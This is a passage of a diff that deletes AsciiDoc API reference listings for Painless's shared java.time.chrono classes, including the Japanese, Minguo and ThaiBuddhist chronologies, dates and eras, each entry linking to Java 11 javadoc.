-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#compareTo(java.time.chrono.Chronology)[compareTo](Chronology)
-* LocalDate {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#date(java.time.temporal.TemporalAccessor)[date](TemporalAccessor)
-* LocalDate {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#date(int,int,int)[date](int, int, int)
-* LocalDate {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#date(java.time.chrono.Era,int,int,int)[date](Era, int, int, int)
-* LocalDate {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#dateEpochDay(long)[dateEpochDay](long)
-* LocalDate {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#dateYearDay(int,int)[dateYearDay](int, int)
-* LocalDate {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#dateYearDay(java.time.chrono.Era,int,int)[dateYearDay](Era, int, int)
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#equals(java.lang.Object)[equals](Object)
-* IsoEra {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#eraOf(int)[eraOf](int)
-* List {java11-javadoc}/java.base/java/time/chrono/Chronology.html#eras()[eras]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getCalendarType()[getCalendarType]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getId()[getId]()
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#isLeapYear(long)[isLeapYear](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#localDateTime(java.time.temporal.TemporalAccessor)[localDateTime](TemporalAccessor)
-* Period {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#period(int,int,int)[period](int, int, int)
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#prolepticYear(java.time.chrono.Era,int)[prolepticYear](Era, int)
-* ValueRange {java11-javadoc}/java.base/java/time/chrono/Chronology.html#range(java.time.temporal.ChronoField)[range](ChronoField)
-* LocalDate {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#resolveDate(java.util.Map,java.time.format.ResolverStyle)[resolveDate](Map, ResolverStyle)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#toString()[toString]()
-* ZonedDateTime {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#zonedDateTime(java.time.temporal.TemporalAccessor)[zonedDateTime](TemporalAccessor)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#zonedDateTime(java.time.Instant,java.time.ZoneId)[zonedDateTime](Instant, ZoneId)
-
-
-[[painless-api-reference-shared-IsoEra]]
-==== IsoEra
-* static IsoEra {java11-javadoc}/java.base/java/time/chrono/IsoEra.html#BCE[BCE]
-* static IsoEra {java11-javadoc}/java.base/java/time/chrono/IsoEra.html#CE[CE]
-* static IsoEra {java11-javadoc}/java.base/java/time/chrono/IsoEra.html#of(int)[of](int)
-* static IsoEra {java11-javadoc}/java.base/java/time/chrono/IsoEra.html#valueOf(java.lang.String)[valueOf](null)
-* static IsoEra[] {java11-javadoc}/java.base/java/time/chrono/IsoEra.html#values()[values]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* null {java11-javadoc}/java.base/java/time/chrono/Era.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/IsoEra.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-JapaneseChronology]]
-==== JapaneseChronology
-* static JapaneseChronology {java11-javadoc}/java.base/java/time/chrono/JapaneseChronology.html#INSTANCE[INSTANCE]
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#compareTo(java.time.chrono.Chronology)[compareTo](Chronology)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseChronology.html#date(java.time.temporal.TemporalAccessor)[date](TemporalAccessor)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseChronology.html#date(int,int,int)[date](int, int, int)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseChronology.html#date(java.time.chrono.Era,int,int,int)[date](Era, int, int, int)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseChronology.html#dateEpochDay(long)[dateEpochDay](long)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseChronology.html#dateYearDay(int,int)[dateYearDay](int, int)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseChronology.html#dateYearDay(java.time.chrono.Era,int,int)[dateYearDay](Era, int, int)
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#equals(java.lang.Object)[equals](Object)
-* JapaneseEra {java11-javadoc}/java.base/java/time/chrono/JapaneseChronology.html#eraOf(int)[eraOf](int)
-* List {java11-javadoc}/java.base/java/time/chrono/Chronology.html#eras()[eras]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getCalendarType()[getCalendarType]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getId()[getId]()
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#isLeapYear(long)[isLeapYear](long)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#localDateTime(java.time.temporal.TemporalAccessor)[localDateTime](TemporalAccessor)
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/Chronology.html#period(int,int,int)[period](int, int, int)
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#prolepticYear(java.time.chrono.Era,int)[prolepticYear](Era, int)
-* ValueRange {java11-javadoc}/java.base/java/time/chrono/Chronology.html#range(java.time.temporal.ChronoField)[range](ChronoField)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseChronology.html#resolveDate(java.util.Map,java.time.format.ResolverStyle)[resolveDate](Map, ResolverStyle)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#toString()[toString]()
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.temporal.TemporalAccessor)[zonedDateTime](TemporalAccessor)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.Instant,java.time.ZoneId)[zonedDateTime](Instant, ZoneId)
-
-
-[[painless-api-reference-shared-JapaneseDate]]
-==== JapaneseDate
-* static JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#of(int,int,int)[of](int, int, int)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#atTime(java.time.LocalTime)[atTime](LocalTime)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#compareTo(java.time.chrono.ChronoLocalDate)[compareTo](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* JapaneseChronology {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#getChronology()[getChronology]()
-* JapaneseEra {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#getEra()[getEra]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isAfter(java.time.chrono.ChronoLocalDate)[isAfter](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isBefore(java.time.chrono.ChronoLocalDate)[isBefore](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isEqual(java.time.chrono.ChronoLocalDate)[isEqual](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isLeapYear()[isLeapYear]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfMonth()[lengthOfMonth]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfYear()[lengthOfYear]()
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toEpochDay()[toEpochDay]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toString()[toString]()
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#until(java.time.chrono.ChronoLocalDate)[until](ChronoLocalDate)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* JapaneseDate {java11-javadoc}/java.base/java/time/chrono/JapaneseDate.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-
-
-[[painless-api-reference-shared-JapaneseEra]]
-==== JapaneseEra
-* static JapaneseEra {java11-javadoc}/java.base/java/time/chrono/JapaneseEra.html#HEISEI[HEISEI]
-* static JapaneseEra {java11-javadoc}/java.base/java/time/chrono/JapaneseEra.html#MEIJI[MEIJI]
-* static JapaneseEra {java11-javadoc}/java.base/java/time/chrono/JapaneseEra.html#SHOWA[SHOWA]
-* static JapaneseEra {java11-javadoc}/java.base/java/time/chrono/JapaneseEra.html#TAISHO[TAISHO]
-* static JapaneseEra {java11-javadoc}/java.base/java/time/chrono/JapaneseEra.html#of(int)[of](int)
-* static JapaneseEra {java11-javadoc}/java.base/java/time/chrono/JapaneseEra.html#valueOf(java.lang.String)[valueOf](null)
-* static JapaneseEra[] {java11-javadoc}/java.base/java/time/chrono/JapaneseEra.html#values()[values]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* null {java11-javadoc}/java.base/java/time/chrono/Era.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/JapaneseEra.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-MinguoChronology]]
-==== MinguoChronology
-* static MinguoChronology {java11-javadoc}/java.base/java/time/chrono/MinguoChronology.html#INSTANCE[INSTANCE]
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#compareTo(java.time.chrono.Chronology)[compareTo](Chronology)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoChronology.html#date(java.time.temporal.TemporalAccessor)[date](TemporalAccessor)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoChronology.html#date(int,int,int)[date](int, int, int)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoChronology.html#date(java.time.chrono.Era,int,int,int)[date](Era, int, int, int)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoChronology.html#dateEpochDay(long)[dateEpochDay](long)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoChronology.html#dateYearDay(int,int)[dateYearDay](int, int)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoChronology.html#dateYearDay(java.time.chrono.Era,int,int)[dateYearDay](Era, int, int)
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#equals(java.lang.Object)[equals](Object)
-* MinguoEra {java11-javadoc}/java.base/java/time/chrono/MinguoChronology.html#eraOf(int)[eraOf](int)
-* List {java11-javadoc}/java.base/java/time/chrono/Chronology.html#eras()[eras]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getCalendarType()[getCalendarType]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getId()[getId]()
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#isLeapYear(long)[isLeapYear](long)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#localDateTime(java.time.temporal.TemporalAccessor)[localDateTime](TemporalAccessor)
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/Chronology.html#period(int,int,int)[period](int, int, int)
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#prolepticYear(java.time.chrono.Era,int)[prolepticYear](Era, int)
-* ValueRange {java11-javadoc}/java.base/java/time/chrono/Chronology.html#range(java.time.temporal.ChronoField)[range](ChronoField)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoChronology.html#resolveDate(java.util.Map,java.time.format.ResolverStyle)[resolveDate](Map, ResolverStyle)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#toString()[toString]()
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.temporal.TemporalAccessor)[zonedDateTime](TemporalAccessor)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.Instant,java.time.ZoneId)[zonedDateTime](Instant, ZoneId)
-
-
-[[painless-api-reference-shared-MinguoDate]]
-==== MinguoDate
-* static MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#of(int,int,int)[of](int, int, int)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#atTime(java.time.LocalTime)[atTime](LocalTime)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#compareTo(java.time.chrono.ChronoLocalDate)[compareTo](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* MinguoChronology {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#getChronology()[getChronology]()
-* MinguoEra {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#getEra()[getEra]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isAfter(java.time.chrono.ChronoLocalDate)[isAfter](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isBefore(java.time.chrono.ChronoLocalDate)[isBefore](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isEqual(java.time.chrono.ChronoLocalDate)[isEqual](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isLeapYear()[isLeapYear]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfMonth()[lengthOfMonth]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfYear()[lengthOfYear]()
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toEpochDay()[toEpochDay]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toString()[toString]()
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#until(java.time.chrono.ChronoLocalDate)[until](ChronoLocalDate)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* MinguoDate {java11-javadoc}/java.base/java/time/chrono/MinguoDate.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-
-
-[[painless-api-reference-shared-MinguoEra]]
-==== MinguoEra
-* static MinguoEra {java11-javadoc}/java.base/java/time/chrono/MinguoEra.html#BEFORE_ROC[BEFORE_ROC]
-* static MinguoEra {java11-javadoc}/java.base/java/time/chrono/MinguoEra.html#ROC[ROC]
-* static MinguoEra {java11-javadoc}/java.base/java/time/chrono/MinguoEra.html#of(int)[of](int)
-* static MinguoEra {java11-javadoc}/java.base/java/time/chrono/MinguoEra.html#valueOf(java.lang.String)[valueOf](null)
-* static MinguoEra[] {java11-javadoc}/java.base/java/time/chrono/MinguoEra.html#values()[values]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* null {java11-javadoc}/java.base/java/time/chrono/Era.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/MinguoEra.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ThaiBuddhistChronology]]
-==== ThaiBuddhistChronology
-* static ThaiBuddhistChronology {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistChronology.html#INSTANCE[INSTANCE]
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#compareTo(java.time.chrono.Chronology)[compareTo](Chronology)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistChronology.html#date(java.time.temporal.TemporalAccessor)[date](TemporalAccessor)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistChronology.html#date(int,int,int)[date](int, int, int)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistChronology.html#date(java.time.chrono.Era,int,int,int)[date](Era, int, int, int)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistChronology.html#dateEpochDay(long)[dateEpochDay](long)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistChronology.html#dateYearDay(int,int)[dateYearDay](int, int)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistChronology.html#dateYearDay(java.time.chrono.Era,int,int)[dateYearDay](Era, int, int)
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#equals(java.lang.Object)[equals](Object)
-* ThaiBuddhistEra {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistChronology.html#eraOf(int)[eraOf](int)
-* List {java11-javadoc}/java.base/java/time/chrono/Chronology.html#eras()[eras]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getCalendarType()[getCalendarType]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getId()[getId]()
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#isLeapYear(long)[isLeapYear](long)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#localDateTime(java.time.temporal.TemporalAccessor)[localDateTime](TemporalAccessor)
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/Chronology.html#period(int,int,int)[period](int, int, int)
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#prolepticYear(java.time.chrono.Era,int)[prolepticYear](Era, int)
-* ValueRange {java11-javadoc}/java.base/java/time/chrono/Chronology.html#range(java.time.temporal.ChronoField)[range](ChronoField)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistChronology.html#resolveDate(java.util.Map,java.time.format.ResolverStyle)[resolveDate](Map, ResolverStyle)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#toString()[toString]()
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.temporal.TemporalAccessor)[zonedDateTime](TemporalAccessor)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.Instant,java.time.ZoneId)[zonedDateTime](Instant, ZoneId)
-
-
-[[painless-api-reference-shared-ThaiBuddhistDate]]
-==== ThaiBuddhistDate
-* static ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#of(int,int,int)[of](int, int, int)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#atTime(java.time.LocalTime)[atTime](LocalTime)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#compareTo(java.time.chrono.ChronoLocalDate)[compareTo](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* ThaiBuddhistChronology {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#getChronology()[getChronology]()
-* ThaiBuddhistEra {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#getEra()[getEra]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isAfter(java.time.chrono.ChronoLocalDate)[isAfter](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isBefore(java.time.chrono.ChronoLocalDate)[isBefore](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isEqual(java.time.chrono.ChronoLocalDate)[isEqual](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isLeapYear()[isLeapYear]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfMonth()[lengthOfMonth]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfYear()[lengthOfYear]()
